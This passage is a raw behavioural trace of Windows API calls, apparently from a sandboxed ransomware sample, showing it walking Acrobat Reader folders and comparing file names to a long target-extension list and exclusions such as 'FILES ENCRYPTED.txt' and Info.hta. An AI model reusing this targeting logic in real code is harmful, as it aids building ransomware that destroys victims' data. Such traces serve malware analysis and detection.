[0266.080] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.080] lstrlenW (lpString=".js") returned 3 [0266.080] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.081] lstrlenW (lpString="ui-strings.js") returned 13 [0266.081] lstrlenW (lpString=".love$") returned 6 [0266.081] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.081] lstrlenW (lpString="ui-strings.js") returned 13 [0266.081] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.081] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.081] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-il\\ui-strings.js") returned 120 [0266.081] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.081] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0266.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.082] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0266.082] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 106 [0266.082] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 1 [0266.082] lstrlenW (lpString="es-es") returned 5 [0266.082] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0266.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.082] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 106 [0266.082] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0266.082] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.082] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.082] lstrlenW (lpString="ui-strings.js") returned 13 [0266.083] lstrlenW (lpString=".1cd") returned 4 [0266.083] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".3ds") returned 4 [0266.083] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".3fr") returned 4 [0266.083] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.149] lstrlenW (lpString=".3g2") returned 4 [0266.149] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.149] lstrlenW (lpString=".3gp") returned 4 [0266.149] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.149] lstrlenW (lpString=".7z") returned 3 [0266.149] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.149] lstrlenW (lpString=".accda") returned 6 [0266.149] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.149] lstrlenW (lpString=".accdb") returned 6 [0266.149] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.149] lstrlenW (lpString=".accdc") returned 6 [0266.149] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.149] lstrlenW (lpString=".accde") returned 6 [0266.149] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.149] lstrlenW (lpString=".accdt") returned 6 [0266.149] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.150] lstrlenW (lpString=".accdw") returned 6 [0266.150] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.150] lstrlenW (lpString=".adb") returned 4 [0266.150] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".adp") returned 4 [0266.150] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai") returned 3 [0266.150] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.150] lstrlenW (lpString=".ai3") returned 4 [0266.150] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai4") returned 4 [0266.150] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai5") returned 4 [0266.150] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai6") returned 4 [0266.150] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai7") returned 4 [0266.150] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".ai8") returned 4 [0266.150] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".anim") returned 5 [0266.150] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.150] lstrlenW (lpString=".arw") returned 4 [0266.150] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.150] lstrlenW (lpString=".as") returned 3 [0266.150] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.151] lstrlenW (lpString=".asa") returned 4 [0266.151] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".asc") returned 4 [0266.151] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".ascx") returned 5 [0266.151] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.151] lstrlenW (lpString=".asm") returned 4 [0266.151] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".asmx") returned 5 [0266.151] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.151] lstrlenW (lpString=".asp") returned 4 [0266.151] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".aspx") returned 5 [0266.151] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.151] lstrlenW (lpString=".asr") returned 4 [0266.151] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".asx") returned 4 [0266.151] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".avi") returned 4 [0266.151] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".avs") returned 4 [0266.151] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.151] lstrlenW (lpString=".backup") returned 7 [0266.151] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.151] lstrlenW (lpString=".bak") returned 4 [0266.152] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".bay") returned 4 [0266.152] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".bd") returned 3 [0266.152] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.152] lstrlenW (lpString=".bin") returned 4 [0266.152] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".bmp") returned 4 [0266.152] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".bz2") returned 4 [0266.152] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".c") returned 2 [0266.152] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.152] lstrlenW (lpString=".cdr") returned 4 [0266.152] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".cer") returned 4 [0266.152] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".cf") returned 3 [0266.152] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.152] lstrlenW (lpString=".cfc") returned 4 [0266.152] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".cfm") returned 4 [0266.152] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.152] lstrlenW (lpString=".cfml") returned 5 [0266.152] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.152] lstrlenW (lpString=".cfu") returned 4 [0266.152] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".chm") returned 4 [0266.153] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".cin") returned 4 [0266.153] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".class") returned 6 [0266.153] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.153] lstrlenW (lpString=".clx") returned 4 [0266.153] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".config") returned 7 [0266.153] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.153] lstrlenW (lpString=".cpp") returned 4 [0266.153] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".cr2") returned 4 [0266.153] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".crt") returned 4 [0266.153] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".crw") returned 4 [0266.153] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".cs") returned 3 [0266.153] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.153] lstrlenW (lpString=".css") returned 4 [0266.153] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.153] lstrlenW (lpString=".csv") returned 4 [0266.153] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".cub") returned 4 [0266.154] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dae") returned 4 [0266.154] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dat") returned 4 [0266.154] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".db") returned 3 [0266.154] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.154] lstrlenW (lpString=".dbf") returned 4 [0266.154] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dbx") returned 4 [0266.154] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dc3") returned 4 [0266.154] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dcm") returned 4 [0266.154] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dcr") returned 4 [0266.154] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".der") returned 4 [0266.154] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dib") returned 4 [0266.154] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dic") returned 4 [0266.154] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.154] lstrlenW (lpString=".dif") returned 4 [0266.154] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.155] lstrlenW (lpString=".divx") returned 5 [0266.155] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".djvu") returned 5 [0266.155] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".dng") returned 4 [0266.155] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.155] lstrlenW (lpString=".doc") returned 4 [0266.155] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.155] lstrlenW (lpString=".docm") returned 5 [0266.155] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".docx") returned 5 [0266.155] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".dot") returned 4 [0266.155] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.155] lstrlenW (lpString=".dotm") returned 5 [0266.155] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".dotx") returned 5 [0266.155] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.155] lstrlenW (lpString=".dpx") returned 4 [0266.156] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dqy") returned 4 [0266.156] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dsn") returned 4 [0266.156] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dt") returned 3 [0266.156] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.156] lstrlenW (lpString=".dtd") returned 4 [0266.156] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dwg") returned 4 [0266.156] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dwt") returned 4 [0266.156] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".dx") returned 3 [0266.156] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.156] lstrlenW (lpString=".dxf") returned 4 [0266.156] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".edml") returned 5 [0266.156] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.156] lstrlenW (lpString=".efd") returned 4 [0266.156] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".elf") returned 4 [0266.156] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.156] lstrlenW (lpString=".emf") returned 4 [0266.156] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.157] lstrlenW (lpString=".emz") returned 4 [0266.157] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.157] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.157] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0266.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.157] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0266.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.158] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es") returned 106 [0266.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0266.247] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.247] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.247] lstrlenW (lpString="ui-strings.js") returned 13 [0266.247] lstrlenW (lpString=".1cd") returned 4 [0266.247] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.247] lstrlenW (lpString=".3ds") returned 4 [0266.247] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.247] lstrlenW (lpString=".3fr") returned 4 [0266.247] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.248] lstrlenW (lpString=".3g2") returned 4 [0266.248] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.248] lstrlenW (lpString=".3gp") returned 4 [0266.248] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.248] lstrlenW (lpString=".7z") returned 3 [0266.248] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.248] lstrlenW (lpString=".accda") returned 6 [0266.248] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".accdb") returned 6 [0266.248] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".accdc") returned 6 [0266.248] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".accde") returned 6 [0266.248] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".accdt") returned 6 [0266.248] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".accdw") returned 6 [0266.248] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.248] lstrlenW (lpString=".adb") returned 4 [0266.248] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.248] lstrlenW (lpString=".adp") returned 4 [0266.249] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai") returned 3 [0266.249] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.249] lstrlenW (lpString=".ai3") returned 4 [0266.249] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai4") returned 4 [0266.249] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai5") returned 4 [0266.249] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai6") returned 4 [0266.249] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai7") returned 4 [0266.249] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".ai8") returned 4 [0266.249] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.249] lstrlenW (lpString=".anim") returned 5 [0266.250] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.250] lstrlenW (lpString=".arw") returned 4 [0266.250] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".as") returned 3 [0266.250] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.250] lstrlenW (lpString=".asa") returned 4 [0266.250] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".asc") returned 4 [0266.250] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".ascx") returned 5 [0266.250] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.250] lstrlenW (lpString=".asm") returned 4 [0266.250] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".asmx") returned 5 [0266.250] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.250] lstrlenW (lpString=".asp") returned 4 [0266.250] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".aspx") returned 5 [0266.250] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.250] lstrlenW (lpString=".asr") returned 4 [0266.250] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.250] lstrlenW (lpString=".asx") returned 4 [0266.250] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".avi") returned 4 [0266.251] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".avs") returned 4 [0266.251] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".backup") returned 7 [0266.251] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.251] lstrlenW (lpString=".bak") returned 4 [0266.251] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".bay") returned 4 [0266.251] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".bd") returned 3 [0266.251] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.251] lstrlenW (lpString=".bin") returned 4 [0266.251] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".bmp") returned 4 [0266.251] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".bz2") returned 4 [0266.251] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.251] lstrlenW (lpString=".c") returned 2 [0266.251] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.251] lstrlenW (lpString=".cdr") returned 4 [0266.251] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".cer") returned 4 [0266.252] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".cf") returned 3 [0266.252] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.252] lstrlenW (lpString=".cfc") returned 4 [0266.252] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".cfm") returned 4 [0266.252] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".cfml") returned 5 [0266.252] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.252] lstrlenW (lpString=".cfu") returned 4 [0266.252] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".chm") returned 4 [0266.252] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".cin") returned 4 [0266.252] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".class") returned 6 [0266.252] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.252] lstrlenW (lpString=".clx") returned 4 [0266.252] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.252] lstrlenW (lpString=".config") returned 7 [0266.252] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.252] lstrlenW (lpString=".cpp") returned 4 [0266.253] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".cr2") returned 4 [0266.253] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.253] lstrlenW (lpString=".crt") returned 4 [0266.253] lstrcmpiW (lpString1=".crt", 